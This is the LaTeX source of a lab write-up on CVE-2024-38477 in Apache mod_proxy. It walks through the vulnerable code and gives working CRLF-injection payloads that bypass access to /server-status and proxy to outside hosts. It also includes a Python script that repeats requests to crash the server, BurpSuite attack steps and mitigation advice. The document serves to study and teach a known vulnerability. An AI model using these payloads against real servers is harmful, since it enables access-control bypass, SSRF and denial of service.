318 lines
17 KiB
TeX
318 lines
17 KiB
TeX
\documentclass[12pt]{article}
|
||
%\usepackage[fontsize=13pt]{fontsize}
|
||
\usepackage[english]{babel}
|
||
|
||
\usepackage[letterpaper,top=2cm,bottom=2cm,left=3cm,right=3cm,marginparwidth=1.75cm]{geometry}
|
||
|
||
\usepackage{amsmath}
|
||
\usepackage{graphicx}
|
||
\usepackage{listings}
|
||
\lstset{
|
||
basicstyle=\ttfamily,
|
||
columns=fullflexible,
|
||
frame=single,
|
||
breaklines=true,
|
||
%postbreak=\mbox{\textcolor{red}{$\hookrightarrow$}\space},
|
||
}
|
||
\usepackage[htt]{hyphenat}
|
||
\usepackage[colorlinks=true, allcolors=blue]{hyperref}
|
||
|
||
\usepackage{tikz}
|
||
\usetikzlibrary{fit,calc,positioning,decorations.pathreplacing,matrix,arrows,shadows,shapes,positioning,shadings,decorations.markings, decorations.pathmorphing}
|
||
|
||
\usepackage{comment}
|
||
|
||
|
||
\newcommand{\cve}{CVE-2024-38477 }
|
||
\title{\cve challenge}
|
||
\author{Bucchino Geoffrey}
|
||
\date{}
|
||
|
||
\begin{document}
|
||
\maketitle
|
||
|
||
\section{Introduction}
|
||
A reverse proxy is a component placed in front of backend servers that provides web services. Each request received from a client is intercepted by the proxy and then forwarded to the appropriate backend server. The diagram below illustrates the principle of a reverse proxy:
|
||
|
||
\begin{figure}[h]
|
||
\begin{center}
|
||
\begin{tikzpicture}
|
||
\tikzstyle{src}=[text centered,text width=3cm,draw]
|
||
|
||
\node[draw, text centered] (clt) at (0,5) {\textit{Client}};
|
||
|
||
\draw[->,>=latex] (clt) -- (2.5, 5);
|
||
|
||
%% Apache
|
||
\draw (2.5, 4.5) rectangle (4.5, 5.5);
|
||
\node[text centered] at (3.5, 5) {\textit{Apache}};
|
||
|
||
%% Backend
|
||
\node[draw, text centered] (b1) at (9, 7) {\textit{Backend$_1$}};
|
||
\node[draw, text centered] (b2) at (9, 5) {\textit{Backend$_2$}};
|
||
\node[draw, text centered] (b3) at (9, 3) {\textit{Backend$_3$}};
|
||
|
||
\draw[->,>=latex] (4.5, 5) -- (b1);
|
||
\draw[->,>=latex] (4.5, 5) -- (b2);
|
||
\draw[->,>=latex] (4.5, 5) -- (b3);
|
||
|
||
\node[text centered] at (6, 6.2) {\textit{/backend$_1$}};
|
||
\node[text centered] at (6.5, 4.7) {\textit{/backend$_2$}};
|
||
\node[text centered] at (6, 3.8) {\textit{/backend$_3$}};
|
||
\end{tikzpicture}
|
||
\end{center}
|
||
\end{figure}
|
||
|
||
One of the main advantages of using a reverse proxy is improved security, as it allows you to define rules that protect your web services and restrict access to specific URLs. A reverse proxy can enforce ACL (Access Control List) rules to control access. Additionally, to ensure high availability, you can set up a cluster of backend servers, with traffic distributed among the pool members. Overall, a reverse proxy offers several benefits.\newline
|
||
|
||
In this write-up, we will focus on Apache’s \texttt{mod\_proxy} module, which provides proxy functionality, and examine the details of \cve.
|
||
|
||
\subsection{\cve}
|
||
The vulnerability described in the \cve\footnote{https://nvd.nist.gov/vuln/detail/cve-2024-38477} was discovered in Apache’s \texttt{mod\_proxy} module by Orange Tsai\footnote{https://blog.orange.tw/}. According to the CVE details, an attacker can craft a malicious request and send it to the reverse proxy. When the service processes this request, it may result in a null pointer dereference.\newline
|
||
|
||
This vulnerability affects Apache versions 2.4.0 through 2.4.59 and was fixed in version 2.4.60.
|
||
|
||
\subsection{How apache works}
|
||
Apache is composed of various modules\footnote{https://httpd.apache.org/docs/2.4/en/mod/}, each with a specific role. These modules share data among themselves to handle client requests. They can be loaded into the Apache core and are responsible for performing specific operations.\newline
|
||
|
||
When Apache receives a packet from an HTTP client, the request is stored in a large structure called \texttt{request\_rec}. This structure contains important information about the request, such as the hostname, URI\footnote{Uniform Resource Identifier}, and the corresponding filename on the disk. It plays a crucial role and is shared among all modules. The \texttt{request\_rec} structure is defined in the \texttt{include/httpd.h} file.
|
||
|
||
\section{Deep dive into the code}
|
||
To investigate the vulnerability, we need to download the source code of the affected Apache version.
|
||
\begin{lstlisting}[language=bash]
|
||
$ wget https://archive.apache.org/dist/httpd/httpd-2.4.59.tar.bz2
|
||
$ tar -xf https://archive.apache.org/dist/httpd/httpd-2.4.59.tar.bz2
|
||
\end{lstlisting}
|
||
|
||
Additionally, we may download the APR\footnote{Apache Portable Runtime} library, which is used by Apache.
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ wget https://dlcdn.apache.org//apr/apr-util-1.6.3.tar.gz
|
||
$ tar -xf apr-util-1.6.3.tar.gz
|
||
\end{lstlisting}
|
||
|
||
\subsection{Proxy module}
|
||
To create a reverse proxy with Apache\footnote{https://httpd.apache.org/docs/current/en/mod/mod\_proxy.html}, the proxy module must be enabled using directives such as ProxyPass. For example, the configuration below sets up a reverse proxy that forwards all requests to "/" to a service running on localhost at port 8000:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
ProxyPass / http://127.0.0.1:8000/
|
||
\end{lstlisting}
|
||
|
||
When Apache receives an HTTP request from a client (for example, \url{http://<hostname>/mypage}), the Apache core creates a \texttt{request\_rec} structure containing the request information and invokes the \texttt{proxy\_handler()} function. This function, located in \texttt{modules/proxy/mod\_proxy.c}, serves as the entry point for handling proxy requests.\newline
|
||
|
||
At this stage, the URL stored in the \texttt{request\_rec} structure becomes \url{http://127.0.0.1:8000/mypage}. Apache’s \texttt{mod\_proxy} module has simply concatenated the client’s original request URL with the proxy target defined in the configuration.\newline
|
||
|
||
Within this function, the request is processed and passed to another handler based on the scheme, which typically refers to the protocol. Apache Proxy supports various schemes such as HTTP, FCGI, AJP, and others. In our case, the scheme is HTTP, so the program calls the function \texttt{ap\_proxy\_http\_handler()} (Cf. file \texttt{modules/proxy/mod\_proxy\_http.c}).
|
||
|
||
\begin{lstlisting}[language=C]
|
||
static int proxy_http_handler(request_rec *r, proxy_worker *worker,
|
||
proxy_server_conf *conf,
|
||
char *url, const char *proxyname,
|
||
apr_port_t proxyport)
|
||
\end{lstlisting}
|
||
|
||
At line 1993, the program calls \texttt{ap\_proxy\_determine\_connection}, a function located in \texttt{modules/proxy/proxy\_util.c}. This function attempts to find a backend server capable of handling the client’s HTTP request. During this process, the program calls \texttt{apr\_uri\_parse()}, which does not properly handle the HTTP request. With this, we have completed our overview of the HTTP request handling process until the program crash.
|
||
|
||
\subsubsection{Parsing URI}
|
||
The server invokes the \texttt{apr\_uri\_parse()} function (see the source code in \texttt{apr-util-1.6.3/uri/apr\_uri.c}) to extract the hostname and port from the URL provided as an argument to the function.
|
||
|
||
\begin{lstlisting}[language=C]
|
||
if (APR_SUCCESS != apr_uri_parse(p, *url, uri)) {
|
||
return ap_proxyerror(r, HTTP_BAD_REQUEST,
|
||
apr_pstrcat(p,"URI cannot be parsed: ", *url,
|
||
NULL));
|
||
}
|
||
\end{lstlisting}
|
||
|
||
For instance, if the URL is \url{http://localhost:8000/mypage}, the result will be stored in the \texttt{apr\_uri\_t} structure. This structure is defined in the APR Util library (see \texttt{include/apr\_uri.h}).\newline
|
||
|
||
%% Explain here quickly how the function apr_uri_parse works ???
|
||
|
||
Once the URI is parsed, the fields in the \texttt{apr\_uri\_t} structure should contain the following values:
|
||
|
||
\begin{lstlisting}[language=C]
|
||
uri->hostname = "localhost"
|
||
uri->port = 8000
|
||
\end{lstlisting}
|
||
|
||
Unfortunately, the program assumes the URL is valid, extracts the information, and does not verify the hostname, so, the crash can happens at this moment, when the hostname is NULL. To avoid this issue, the program should check the hostname is not NULL.
|
||
|
||
\begin{lstlisting}[language=C]
|
||
if (uri->hostname == NULL){
|
||
/* Handle the error */
|
||
}
|
||
\end{lstlisting}
|
||
|
||
Still within the \texttt{ap\_proxy\_determine\_connection()} function, after parsing the URL, the program retrieves the value of \texttt{uri->hostname} and stores it in a new variable (see line 3158).
|
||
|
||
\begin{lstlisting}[language=C]
|
||
const char *hostname = uri->hostname;
|
||
\end{lstlisting}
|
||
|
||
It then calls the \texttt{ap\_proxy\_determine\_address()} function, passing the hostname as an argument. The crash may occur within this function.
|
||
|
||
\subsubsection{Override the hostname}
|
||
The author who discovered the \cve explained in an article how to invoke a handler, and in doing so, he identified several vulnerabilities in the code. When the Apache core needs to invoke a handler, it calls the \texttt{ap\_invoke\_handler} function, located in \texttt{server/config.c}. The handler stored in the \texttt{request\_rec} structure takes the value of \texttt{content\_type} if \texttt{r->handler} is not specified.
|
||
|
||
\begin{lstlisting}[language=C]
|
||
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r)
|
||
{
|
||
if (!r->handler) {
|
||
if (r->content_type) {
|
||
handler = r->content_type;
|
||
/* ... */
|
||
}
|
||
else {
|
||
handler = AP_DEFAULT_HANDLER_NAME;
|
||
}
|
||
|
||
r->handler = handler;
|
||
}
|
||
\end{lstlisting}
|
||
|
||
If the \texttt{Content\_Type} can be controlled, it is possible to override the handler. The \texttt{ap\_invoke\_handler} function is called when the \texttt{Location} header is specified and begins with a / (see the \texttt{ap\_scan\_script\_header\_err\_brigade\_ex()}
|
||
function in \texttt{modules/generators/mod\_cgi.c}).\newline
|
||
|
||
To carry out the SSRF attack, both the \texttt{Content\_Type} and \texttt{Location} headers must be controlled using a CRLF injection. Using the vulnerability described above, we will call the HTTP proxy handler with the crafted hostname as part of the attack:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
http://server/cgi-bin/redir.cgi?r=http://%0d%0aLocation:/abc%0d%0aContent-Type:proxy:http://example.com%0d%0a%0d%0a
|
||
\end{lstlisting}
|
||
|
||
Like that, the \texttt{r->handler} will take the \texttt{Content-Type} value. Apache will call the \texttt{mod\_proxy\_http} with the hostname we specified in the curl. If the attack is successful, the response will display the page of the domain we sent.
|
||
|
||
|
||
\section{Scenarios}
|
||
\subsection{Setup the lab}
|
||
To test the vulnerability, I created a lab environment available in my Git project\footnote{https://gitea.bucchino.org/gbucchino/cve-2024-38477}. The project includes a single scenario, which involves deploying a Docker container with a backend service. The container runs the affected version of Apache, 2.4.59.
|
||
|
||
\subsection{Perl backend}
|
||
In the first scenario, we can imagine a server hosting various Perl scripts, each designed to perform a specific operation. In this case, we have a script called \texttt{listings.cgi}, which lists all files/directories in the path provided as an argument.\newline
|
||
|
||
You can find this first scenario in the \texttt{scenario1} directory of my Git project. To test the vulnerability, I created a Docker container. To deploy it, you need to build the image:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ docker build -t cve-cgi scenario1/
|
||
$ docker run -p 8080:80 cve-cgi
|
||
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
|
||
\end{lstlisting}
|
||
|
||
Now that the Docker container is deployed, we can test the \texttt{listings.cgi} script. This script takes one argument: the path to the directory.
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ curl "http://localhost:8080/cgi-bin/listings.cgi?r=/usr/local/apache2/htdocs"
|
||
/usr/local/apache2/htdocs/index.html
|
||
\end{lstlisting}
|
||
|
||
Next, we attempt to access the /server-status page:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ curl http://localhost:8080/server-status
|
||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||
<html><head>
|
||
<title>403 Forbidden</title>
|
||
</head><body>
|
||
<h1>Forbidden</h1>
|
||
<p>You don't have permission to access this resource.</p>
|
||
</body></html>
|
||
\end{lstlisting}
|
||
|
||
According to Apache2’s default policies, accessing \texttt{/server-status} directly is forbidden. However, we can attempt to exploit the vulnerability by overriding the \texttt{Content-Type} header. In the example below, we try to access the \texttt{/server-status} page:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ curl "http://localhost:8080/cgi-bin/listings.cgi?r=http://%0d%0aLocation%3a/abc%0d%0aContent-Type:server-status%0d%0a%0d%0a"
|
||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|
||
<html><head>
|
||
<title>Apache Status</title>
|
||
</head><body>
|
||
<h1>Apache Server Status for localhost (via 172.17.0.2)</h1>
|
||
\end{lstlisting}
|
||
|
||
It works — we’ve bypassed the protection. This \cve is related to a null pointer dereference, and as we've seen, the issue arises from the lack of validation on the \texttt{uri->hostname} field. To exploit this, we can craft a custom HTTP request and modify the hostname. To do so, we invoke \texttt{mod\_proxy\_http} with a new FQDN\footnote{Fully Qualified Domain Name}:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ curl "http://localhost:8080/cgi-bin/listings.cgi?r=http://%0d%0aLocation:/abc%0d%0aContent-Type:proxy:http://fortinet.com%0d%0a%0d%0a"
|
||
\end{lstlisting}
|
||
|
||
That works as well. Now, by crafting a request with a malicious hostname, the crash can be triggered at this point.\newline
|
||
|
||
If the attack is successful, you will likely see an error in the Apache2 logs indicating a \textbf{Segmentation fault}, and the Apache2 service may crash and become unavailable:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
[Thu May 29 09:37:43.337885 2025] [core:notice] [pid 8971:tid 139973229782912] AH00051: child pid 8974 exit signal Segmentation fault (11), possible coredump in /usr/local/apache2
|
||
\end{lstlisting}
|
||
|
||
\subsubsection{Attack with Python}
|
||
In this section, we are going to attempt to crash the server using a Python script that sends random string values to replace the hostname. In the Git repository, you will find a Python script named \texttt{cve.py}. This script generates a random hostname and sends requests to the server. The random values consist of a mix of ASCII letters, digits, and special characters.
|
||
|
||
\begin{lstlisting}[language=python]
|
||
#!/usr/bin/env python3
|
||
|
||
from requests import get, RequestException
|
||
from time import sleep
|
||
import random
|
||
import string
|
||
|
||
def test_crash(srv):
|
||
index = 0
|
||
while index < 100:
|
||
try:
|
||
# Need to add [0], otherwise we have a TypeError
|
||
hostname = ''.join(random.choices(string.ascii_lowercase + string.digits + string.punctuation)[0] for _ in range(10))
|
||
url = f"{srv}/cgi-bin/listings.cgi?r=http://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://{hostname}%0d%0a%0d%0a"
|
||
res = get(url, timeout=5)
|
||
if res.status_code == 200:
|
||
continue
|
||
# print(res.status_code)
|
||
index = index + 1
|
||
sleep(random.uniform(0.5, 1.5))
|
||
except RequestException as e:
|
||
print(e)
|
||
print("Crashed")
|
||
|
||
if __name__ == "__main__":
|
||
test_crash("http://localhost:8080")
|
||
\end{lstlisting}
|
||
|
||
If the attack is successful, the Python script will raise a \texttt{RequestException}.
|
||
|
||
\subsubsection{Attack with BurpSuite}
|
||
The second method to perform the attack is by using BurpSuite. The objective is to use the \textbf{Intruder} module to send random values that replace the hostname. The image below demonstrates how to carry out the attack on the server and where to insert the payload.
|
||
|
||
\begin{figure}[h]
|
||
\begin{center}
|
||
\includegraphics[scale=2]{burp1.png}
|
||
\end{center}
|
||
\end{figure}
|
||
|
||
For the payload, I created a Python script called \texttt{burp\_random.py} to generate a list of random values. You can then use this list by loading it into BurpSuite. The image below shows the result. After that, you can launch the attack against the server.
|
||
|
||
\newpage
|
||
|
||
\begin{figure}[h]
|
||
\begin{center}
|
||
\includegraphics[scale=2]{burp2.png}
|
||
\end{center}
|
||
\end{figure}
|
||
|
||
%% From now, doesn't works
|
||
\begin{comment}
|
||
\subsection{Python backend}
|
||
For the second scenario, we have a python backend behind the Apache proxy. In that scenario, we are going to deploy and run the application:
|
||
|
||
\begin{lstlisting}[language=bash]
|
||
$ docker build -t cve-python scenario2/
|
||
$ docker run -p 8080:80 cve-python
|
||
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
|
||
\end{lstlisting}
|
||
\end{comment}
|
||
|
||
\section{Mitigation}
|
||
To prevent exploitation of this vulnerability, the first and most important step is to upgrade Apache to version 2.4.60\footnote{https://httpd.apache.org/security/vulnerabilities\_24.html}, where the issue has been fixed. It's essential to keep your services up to date at all times.\newline
|
||
|
||
If upgrading is not immediately possible, such as in a production environment where downtime must be avoided, you can reduce the risk by using a Web Application Firewall (WAF). With a WAF, you can define custom rules to detect and block malicious traffic by monitoring URLs and filtering requests that match known attack signatures. For instance, if you detect CRLF injection in the URL, you can block the request.\newline
|
||
|
||
Additionally, it's crucial to follow server security best practices and audit your service configurations to ensure they are secured.
|
||
|
||
\end{document}
|